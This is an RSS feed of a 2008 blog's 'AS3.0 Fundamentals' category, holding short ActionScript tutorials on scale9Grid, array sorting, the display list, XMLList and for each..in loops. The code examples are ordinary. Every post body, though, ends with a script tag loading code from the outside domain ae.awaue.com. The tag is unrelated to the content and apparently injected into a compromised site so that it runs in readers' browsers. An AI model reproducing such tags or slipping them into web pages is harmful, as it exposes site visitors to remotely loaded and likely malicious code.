<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>t-roy.net* &#187; AS3.0 Fundamentals</title>
	<atom:link href="http://www.t-roy.net/category/as30-fundamentals/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.t-roy.net</link>
	<description>blog by designer troy ginbey</description>
	<lastBuildDate>Sat, 13 Jun 2009 14:05:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>scale9Grid in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/#comments</comments>
		<pubDate>Sun, 25 May 2008 04:21:16 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=22</guid>
		<description><![CDATA[Wow&#8230; every so often you stumble upon something that you know will change the way you design forever. I was flicking through the ACP (Adobe Certified Professional) Exam Guide for Flash CS3 (as you do on a Sunday), and came across something I didn&#8217;t recognise &#8211; scale9Grid.
scale9Grid divides a display object into 9 regions, allowing [...]]]></description>
			<content:encoded><![CDATA[<p>Wow&#8230; every so often you stumble upon something that you know will change the way you design forever. I was flicking through the ACP (Adobe Certified Professional) Exam Guide for Flash CS3 (as you do on a Sunday), and came across something I didn&#8217;t recognise &#8211; scale9Grid.</p>
<p>scale9Grid divides a display object into 9 regions, allowing different rules to be applied to it when the object is scaled.</p>
<p>How is this useful?? Well.. think about designing a simple content area with rounded corners. You want the content area scale vertically as the amount of text it holds increases. With any normal object with rounded corners, as you scale it&#8217;s height, the corners would scale and distort the more it is verticaly scaled. Enter scale9Grid. With one line of code, you can define the regions of the rounded rectangle to allow for distortion free scaling&#8230; Here&#8217;s an example:</p>
<p><code>myRoundedRectangle.scale9Grid = new Rectangle(10,10,300,600);</code></p>
<p>The above code adds a scale9Grid to a rounded rectangle object &#8211; meaning when it is scaled, the rounded corners will stay the same&#8230;. Brilliant!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Array Methods in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/22/array-methods-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/22/array-methods-in-as30/#comments</comments>
		<pubDate>Thu, 22 May 2008 02:30:15 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=18</guid>
		<description><![CDATA[I&#8217;ve been using Array for a while now &#8211; but don&#8217;t frequently use all of it&#8217;s methods&#8230; so I&#8217;m going to go through the ones I don&#8217;t use a lot&#8230;.
Array.sort();
var beers:Array = ["Fosters", "Alpha", "VB", "asahi"];
beers.sort(); // default sort
trace(beers); // output: Alpha,Fosters,VB,asahi
beers.sort(Array.CASEINSENSITIVE);
trace(beers); // output: Alpha,asahi,Fosters,VB
beers.sort(Array.DESCENDING);
trace(beers); // output: asahi,VB,Fosters,Alpha
beers.sort(Array.DESCENDING &#124; Array.CASEINSENSITIVE);
trace(beers); // output: VB,Fosters,asahi,Alpha

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using Array for a while now &#8211; but don&#8217;t frequently use all of it&#8217;s methods&#8230; so I&#8217;m going to go through the ones I don&#8217;t use a lot&#8230;.</p>
<p><strong>Array.sort();</strong></p>
<p><code>var beers:Array = ["Fosters", "Alpha", "VB", "asahi"];<br />
beers.sort(); // default sort<br />
trace(beers); // output: Alpha,Fosters,VB,asahi</p>
<p>beers.sort(Array.CASEINSENSITIVE);<br />
trace(beers); // output: Alpha,asahi,Fosters,VB</p>
<p>beers.sort(Array.DESCENDING);<br />
trace(beers); // output: asahi,VB,Fosters,Alpha</p>
<p>beers.sort(Array.DESCENDING | Array.CASEINSENSITIVE);<br />
trace(beers); // output: VB,Fosters,asahi,Alpha</code><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/22/array-methods-in-as30/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding &amp; removing display objects from the display list in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/#comments</comments>
		<pubDate>Wed, 21 May 2008 07:33:38 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=21</guid>
		<description><![CDATA[package {
	import flash.display.*;
	import flash.text.TextField;
	public class AS3Tester extends Sprite {
		public function AS3Tester() {
			var myTextContainer:TextField = new TextField();
			myTextContainer.text = "I like beer";
			this.addChild(myTextContainer);
		}
	}
}
In the above code, I create a variable to reference a new TextField object, and set it&#8217;s text to &#8220;I like beer&#8221;. This alone wont add the TextField to the stage. To do this I then [...]]]></description>
			<content:encoded><![CDATA[<p><code>package {<br />
	import flash.display.*;<br />
	import flash.text.TextField;</p>
<p>	public class AS3Tester extends Sprite {<br />
		public function AS3Tester() {<br />
			var myTextContainer:TextField = new TextField();<br />
			myTextContainer.text = "I like beer";<br />
			this.addChild(myTextContainer);<br />
		}<br />
	}<br />
}</code></p>
<p>In the above code, I create a variable to reference a new TextField object, and set it&#8217;s text to &#8220;I like beer&#8221;. This alone wont add the TextField to the stage. To do this I then need to use the addChild method to add it to the display list:</p>
<p><code>addChild(child:DisplayObject):DisplayObject </code></p>
<p>addChild is a method of DisplayObjectContainer. When a DisplayObjectContainer (a Sprite, a Loader or the Stage) calls the addChild method, it adds a child DisplayObject instance to that DisplayObjectContainer instance.</p>
<p>To remove an object from the display list is the reverse:<br />
<code>removeChild(child:DisplayObject):DisplayObject</code></p>
<p>So the code to remove the TexField above would be:<br />
<code>this.removeChild(myTextContainer);</code></p>
<p>If I wanted to add a display object instance to a specific DisplayObjectContainer instance, I use addChildAt:<br />
<code>addChildAt(child:DisplayObject, index:int):DisplayObject</code></p>
<p>Here&#8217;s an example of the code in use:</p>
<p><code>var myDisplayContainer:Sprite = new Sprite();</p>
<p>var myFirstSprite:Sprite = new Sprite();<br />
var mySecondSprite:Sprite = new Sprite();</p>
<p>myDisplayContainer.addChild(myFirstSprite);<br />
myDisplayContainer.addChildAt(mySecondSprite, 0);</p>
<p>this.addChild(myDisplayContainer);</code></p>
<p>The above code first creates a DisplayObjectContainer called <strong>myDisplayContainer</strong>, then adds a Sprite (<strong>myFirstSprite</strong>) to it. Then using <strong>addChildAt</strong>, a second sprite is added to myDisplayContainer <strong>at index 0</strong>, which is the back of the list &#8211; meaning it will be displayed <strong>underneath</strong> myFirstSprite.</p>
<p>The final line adds the <strong>myDisplayContainer</strong> to the stage.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Display List Programming in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/#comments</comments>
		<pubDate>Tue, 20 May 2008 01:43:12 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=20</guid>
		<description><![CDATA[Display List programming is a big part of ActionScript 3.0&#8230; Basically anything that is visually added to the stage must be added to Flash&#8217;s Display List hierarchy.
In the next few posts I&#8217;m going to go through a few core display programming tasks&#8230;

Adding display objects to the display list 
Removing objects from the display list
Moving objects [...]]]></description>
			<content:encoded><![CDATA[<p>Display List programming is a big part of ActionScript 3.0&#8230; Basically anything that is visually added to the stage must be added to Flash&#8217;s Display List hierarchy.</p>
<p>In the next few posts I&#8217;m going to go through a few core display programming tasks&#8230;</p>
<ul>
<li>Adding display objects to the display list </li>
<li>Removing objects from the display list</li>
<li>Moving objects among display containers </li>
<li>Moving objects in front of or behind other objects</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking out the trash in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/#comments</comments>
		<pubDate>Mon, 19 May 2008 09:25:29 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=19</guid>
		<description><![CDATA[Garbage collection is a BIG deal in AS3 &#8211; Adobe have a couple of good articles articles which explains the theory&#8230;
http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html
http://www.adobe.com/devnet/flashplayer/articles/resource_management.html
]]></description>
			<content:encoded><![CDATA[<p>Garbage collection is a BIG deal in AS3 &#8211; Adobe have a couple of good articles articles which explains the theory&#8230;<br />
<a href="http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html">http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html</a><br />
<a href="http://www.adobe.com/devnet/flashplayer/articles/resource_management.html">http://www.adobe.com/devnet/flashplayer/articles/resource_management.html</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uses for XMLList</title>
		<link>http://www.t-roy.net/2008/05/18/uses-for-xmllist/</link>
		<comments>http://www.t-roy.net/2008/05/18/uses-for-xmllist/#comments</comments>
		<pubDate>Sun, 18 May 2008 11:01:54 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=17</guid>
		<description><![CDATA[An XMLList is a great object for working with one or more XML elements. You can call methods on the elements as a group or on the individual elements in the collection. In the example below, I&#8217;ve created an XML List to store all beers from the beers XML object that have the brand &#8220;fosters&#8221;:
beers:XML [...]]]></description>
			<content:encoded><![CDATA[<p>An XMLList is a great object for working with one or more XML elements. You can call methods on the elements as a group or on the individual elements in the collection. In the example below, I&#8217;ve created an XML List to store all beers from the beers XML object that have the brand &#8220;fosters&#8221;:</p>
<p><code>beers:XML = XML;<br />
showBeersByBrand("alpha");<br />
private function showBeersByBrand(name:String):void {<br />
  var results:XMLList = beers.beer.(@brand == name);<br />
  showList(results);<br />
}<br />
private function showList(list:XMLList):void {<br />
  var item:XML;<br />
  for each(item in list) {<br />
    trace("item: " + item.toXMLString());<br />
  }<br />
}<br />
</code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/18/uses-for-xmllist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>for.. each.. in</title>
		<link>http://www.t-roy.net/2008/05/18/for-each-in/</link>
		<comments>http://www.t-roy.net/2008/05/18/for-each-in/#comments</comments>
		<pubDate>Sun, 18 May 2008 08:50:22 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=16</guid>
		<description><![CDATA[For each in is a handy statement to iterate over items in a collection (or object), and execute statements on those items &#8211; for example, an Object, Array, or XML. I&#8217;ll give an example of each of these&#8230;
Object
var myObject:Object = {name:"Shofferhoffer", type:"Wheat Beer", alcoholPercentage:4.5, origin:"Germany"}
for each (var item in myObject) {
trace(item);
} 
outputs:
4.5
Germany
Shofferhoffer
Wheat Beer
Array
var myArray:Array = [...]]]></description>
			<content:encoded><![CDATA[<p><strong>For each in</strong> is a handy statement to iterate over items in a collection (or object), and execute statements on those items &#8211; for example, an Object, Array, or XML. I&#8217;ll give an example of each of these&#8230;</p>
<p><strong>Object</strong><br />
<code>var myObject:Object = {name:"Shofferhoffer", type:"Wheat Beer", alcoholPercentage:4.5, origin:"Germany"}<br />
for each (var item in myObject) {<br />
trace(item);<br />
} </code></p>
<p>outputs:<br />
4.5<br />
Germany<br />
Shofferhoffer<br />
Wheat Beer</p>
<p><strong>Array</strong><br />
<code>var myArray:Array = new Array("Corona", "Shofferhoffer", "Fosters");<br />
for each (var item in myArray) {<br />
trace(item);<br />
} </code></p>
<p>outputs:<br />
Corona<br />
Shofferhoffer<br />
Fosters</p>
<p><strong>XML</strong><br />
<code>var myXML:XML = &lt;drinks&gt;&lt;wine&gt;merlot&lt;/wine&gt;&lt;wine&gt;shiraz&lt;/wine&gt;&lt;beer&gt;wheat beer&lt;/beer&gt;&lt;beer&gt;ale&lt;/beer&gt;&lt;beer&gt;lager&lt;/beer&gt;;<br />
for each (var item in myXML.beer) {<br />
trace(item);<br />
} </code></p>
<p>outputs:<br />
wheat beer<br />
ale<br />
lager</p>
<p>The for each..in statement iterates only through the <strong>dynamic</strong> properties of an object, not the fixed properties. And unlike the for..in statement, the for each..in statement iterates over the <strong>values</strong> of an object&#8217;s properties, rather than the property names.</p>
<p>So, there&#8217;s a few good usage examples for for.. each.. in. Worth keeping in mind when working with objects!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/18/for-each-in/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>AS3.0 Fundamentals</title>
		<link>http://www.t-roy.net/2008/05/18/as30-fundamentals/</link>
		<comments>http://www.t-roy.net/2008/05/18/as30-fundamentals/#comments</comments>
		<pubDate>Sun, 18 May 2008 08:29:40 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=15</guid>
		<description><![CDATA[I&#8217;ve decided I&#8217;m going to start writing on a few AS3.0 coding basics &#8211; from simple for statements, to the XML Class, XML List, Array Class etc.
I&#8217;ll be posting these in a new &#8220;AS3.0 Fundamentals&#8221; category, but you&#8217;ll also find them under the Adobe Flash section.
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve decided I&#8217;m going to start writing on a few AS3.0 coding basics &#8211; from simple <strong>for</strong> statements, to the <strong>XML Class</strong>, <strong>XML List</strong>, <strong>Array Class</strong> etc.</p>
<p>I&#8217;ll be posting these in a new &#8220;AS3.0 Fundamentals&#8221; category, but you&#8217;ll also find them under the Adobe Flash section.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/18/as30-fundamentals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
   

